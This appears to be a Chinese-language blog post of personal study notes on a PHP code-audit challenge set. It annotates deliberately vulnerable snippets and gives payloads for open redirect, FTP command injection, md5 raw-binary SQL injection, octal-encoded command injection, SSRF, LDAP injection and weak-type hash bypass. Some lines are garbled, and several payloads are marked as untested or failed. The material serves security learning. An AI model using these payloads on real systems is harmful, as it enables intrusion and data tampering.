class Redirect {
private $websiteHost = 'www.example.com';
private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");//访问网址,这里应该有任意网址访问,任意钓鱼,等等
}
public function startRedirect($params) {//参数可控
$parts = explode('/', $_SERVER['PHP_SELF']);//explode按照/把字符串打散成数组,
$baseFile = end($parts);//将数组的最后一个元素赋值给basefile,正常情况下是改文件的名字,不过这个应该是可以被控制的
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)//http_build_query实际上就是变量赋值,
);//整个写下来应该是:1.php?xxx=xxx
$this->setHeaders($url);
}
}
if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}
?>
初步判定是某种payload可修改 $_SERVER[‘PHP_SELF’],导致任意网址访问的漏洞
官方说,这里是 $_SERVER[‘PHP_SELF’]失效
假如网址为:http://www.xxx.com/dir/index.php
那么 $_SERVER[‘PHP_SELF’]就是/dir/index.php
那么假如网址为:http://www.xxx.com/dir/index.php/admin
那么 $_SERVER[‘PHP_SELF’]就是:/dir/index.php/admin
这表示,有一部分是可以被我们控制的
代码里有一个很重要的点,也是突破点,在这儿:
u r l = u r l d e c o d e ( url = urldecode( url=urldecode(url);
原本url就会被服务器解码一次,又加上这个函数,它就会再解码一次,所以,我们可以用url编码两次来做到绕过某些关键词,例如:/—>%252f
所以payload:
http://www.test.com/index.php/http:%252f%252xxx.com?redirect=test¶ms=test123
这样取最后一个的时候就能重定向到其它的网址,造成任意网址跳转
class FTP {
public $sock;//又是一个公有变量
public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);
$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);//这俩可控
}//构造函数,赋值,
private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}//取整之后赋值,
public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}//登录代码
public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");//文件写入,路径可控,内容可控
}
}
public function send($data) {
fputs($this->sock, $data);
}
}
new FTP('localhost', 21, 'user', 'password');
?>
初步判定是个任意文件写入,并且对get,post,cookie方式传入数据都进行了过滤,偏偏没有过滤request的。
然而request是get,post,cookie的合集,request的数据丝毫不受过滤函数的影响,因此,我们可以利用request传入的数据进行
payload:
?mode=1%0a%0dDELETE%20test.file
class RealSecureLoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {//这俩又可控
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$pass = md5($this->password, true);//以二进制格式输出,md5函数存在漏洞
$user = $this->sanitizeInput($this->user);//对user进行过滤
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();//感觉是个sql注入,但是由于对user进行了处理,基本没法对user进行注入,只能从pass入手
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input) {
return addslashes($input);//过滤' " / null
}
}
$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}
?>
初步判定是sql注入,并且是对password进行注入,猜测应该是一个md5函数绕过的漏洞
一般写md5加密不会写第二个参数,那么这个参数肯定有什么猫腻,
md5第二个参数设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
本地测试如下:
$str="123";
echo md5($str);
echo "
";
echo md5($str,true);
结果:
这里跟前面有一道题有点像,思路是一样的,想要写入一个\来转义’,使得sql语句出现错误
然后就有了以下测试
$str="123";
$str1="126";
$str2="127";
$str3="128";
echo "
";
echo md5($str,true);
echo "
";
echo md5($str1,true);
echo "
";
echo md5($str2,true);
echo "
";
echo md5($str3,true);
echo "
";
可以看到,128经过md5加密之后最后一位是\,达到目的
payload:
user= OR 1=1#&passwd=128
放到语句里面就是
select count(p) from user where password='v躠n函苐绹渜帝\' and user ='or 1=1'
此时,password的值为:v躠n函苐绹渜帝’ and user =,成功达到注入的目的
class JWT {
public function verifyToken($data, $signature) {//这俩又可控
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {//判断证书有效性,估摸着这儿可能有问题
$object = json_decode(base64_decode($data));//对data先进行js解密,再进行base64解密
$this->loginAsUser($object);
}
}
}
(new JWT())->verifyToken($_GET['d'], $_GET['s']);
?>
但是官方语言没看懂,先留着
class ImageViewer {
private $file;
function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}
function createThumbnail() {
$e = stripcslashes(//stripcslashes() 函数删除由 addcslashes() 函数添加的反斜杠。
preg_replace(
'/[^0-9\\\]/',//将除数字以外的字符换成空
'',
isset($_GET['size']) ? $_GET['size'] : '25'//get传入值,没有则为25,
)
);
system("/usr/bin/convert $this->file --resize $e
./thumbs/$this->file");//file不可控,但是$e是通过size处理而来的,可控,可以进行任意代码执行
}
function __toString() {
return "$this->file>
$this->file>";
}
}
echo (new ImageViewer("image.png"));
?>
没想到,size竟然可以执行远程命令
漏洞出现在stripcslashes函数上,此函数不仅可以删除来自addcslashes添加的斜杠,还可以将这种八进制转化为字符,不过需要php高版本,7.*
\151\160\143\157\156\146\151\147 ----》 ipconfig 这里的八进制是通过字符串转为16进制,再通过十六进制转成8进制
例如:
$e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size']) ? $_GET['size'] : '25'));
echo $e;
system($e);
传入\151\160\143\157\156\146\151\147 后,得到:
然后再回来看源码,为了使得命令顺利执行,需要将前后命令分开,所以payload
0; sleep 5; -->0\073\163\154\145\145\160\0405\073
set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);
class ImageLoader
{
public function getResult($uri)//uri可控
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {//这个判断url可绕过
return 'Please enter valid uri
';
}
try {
$image = file_get_contents($uri);//可以通过uri进行任意文件包含,但是无法输出
$path = "./images/" . uniqid() . '.jpg';//uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
file_put_contents($path, $image);//写入内容
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);//上传类型不是图片,就删除路径,对文件头进行检验,可以构造图片马进行上传
return 'Only .jpg files allowed
';
}
} catch (Exception $e) {//抛出异常
return 'There was an error: '
.
$e->getMessage() . '';
}
return '
. $path . '" width="100"/>';//返回路径
}
}
echo (new ImageLoader())->getResult($_GET['img']);
?>
这竟然是个ssrf,官方说这里有两个漏洞
一是filter_var函数可以传入接受file://url
,造成任意文件读取,But!我并不行,无法做到
二是SSRF,通过第二个file_put_contents函数执行对服务器的攻击,再由第二个file_put_contents函数打印信息
payload:
?img=http://internal:22
另一个流行的攻击场景是在攻击AWS云实例时检索敏感的AWS凭据(搞不懂,下一个)
declare(strict_types=1);//开启严格模式,不设置就会存在php弱类型
class ParamExtractor {
private $validIndices = [];//私有的一个数组
private function indices($input) {
$validate = function (int $value, $key) {//数组的键大于0就让validIndices等于值
if ($value > 0) {//如果传入字符,就会一直等于0,但是这里又开启严格模式
$this->validIndices[] = $key;
}
};
try {
array_walk($input, $validate, 0);//数组中的每一个元素执行函数,但是这个0不知道干啥的,官方说是一个回调函数emmm
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}
return $this->validIndices;//返回数组
}
public function getCommand($parameters) {
$indices = $this->indices($parameters);//相当于一个waf,将输入的数组进行过滤
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');//数组变成字符串
}
}
$cmd = (new ParamExtractor())->getCommand($_GET['p']);//p可控,p传入一个数组
system('resizeImg image.png ' . $cmd);
?>
这个array_walk函数我总感觉有点问题,官方文档又说第三个参数被设置只是把第三个参数作为自定义函数的第三个函数回调自定义函数
看不懂,官方语言说:
array_walk()的使用也存在一个错误,它忽略了严格类型,而是使用PHP的默认弱类型。因此,攻击者可以将命令附加到系统调用中执行的最后一个参数。可能的有效载荷看起来像?p[1]=1&p[2]=2;ls-la。
官方payload:?p[1]=1&p[2]=2;ls-la
(做不到,这就是玄学吧:))
if (isset($_POST['password'])) {//如果post传入了password,就把cookie设置为password的md5
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}
$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {//如果cookie hash为空,就让他输密码
echo '
. '';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {//如果hash值等于md5就登录成功,这个php弱类型啊,通过md5碰撞就可以绕过
echo 'Login succeeded';
} else {
echo 'Login failed';
}
?>
hash值应该通过hash_equals()函数来进行比较,如果像如上代码进行比较的话,又php弱类型和md5碰撞来绕过
class LDAPAuthenticator {
public $conn;
public $host;//注意注意,公有属性出没
function __construct($host = "localhost") {
$this->host = $host;
}
function authenticate($user, $pass) {
$result = [];
$this->conn = ldap_connect($this->host);
ldap_set_option(
$this->conn,
LDAP_OPT_PROTOCOL_VERSION,
3
);
if (!@ldap_bind($this->conn))
return -1;
$user = ldap_escape($user, null, LDAP_ESCAPE_DN);
$pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
$result = ldap_search(
$this->conn,
"",
"(&(uid=$user)(userPassword=$pass))"//注入
);
$result = ldap_get_entries($this->conn, $result);
return ($result["count"] > 0 ? 1 : 0);
}
}
if(isset($_GET["u"]) && isset($_GET["p"])) {//可控传入
$ldap = new LDAPAuthenticator();
if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
echo "You are now logged in!";
} else {
echo "Username or password unknown!";
}
}
?>
一个LDAP注入,这玩意可以写*来绕过,*标识通配符
@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})
[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']]
[$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])
[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])]
[$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
next(neXt(${'next'}['next']));
?>
这个东西,很像某道ctf啊,由于全局变量的使用,使得攻击者可以使用payload:
?name=$_GLOBALS
查看所有全局变量的值
另外,还可以通过$_COOKIE[‘GLOBALS’]传入任意代码
啊。。。。赶忙带着敷衍,终于过了一遍红日。。。。过几天我再来第二遍